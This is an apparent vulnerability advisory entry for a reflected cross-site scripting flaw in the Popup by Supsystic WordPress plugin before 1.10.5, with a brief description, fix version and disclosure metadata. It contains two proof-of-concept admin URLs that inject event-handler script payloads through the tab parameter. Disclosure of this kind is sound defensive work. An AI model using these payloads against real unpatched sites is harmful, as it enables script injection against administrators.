WordPress Plugin Vulnerabilities

Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS)

Description

The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

Proof of Concept

/wp-admin/admin.php?page=popup-wp-supsystic&tab="onmouseover=alert(1)//

/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

Fixed in 1.10.5

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
0xB9
Submitter
0xB9
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-04-19 (about 3 years ago)
Added
2021-04-19 (about 3 years ago)
Last Updated
2021-04-20 (about 3 years ago)

Other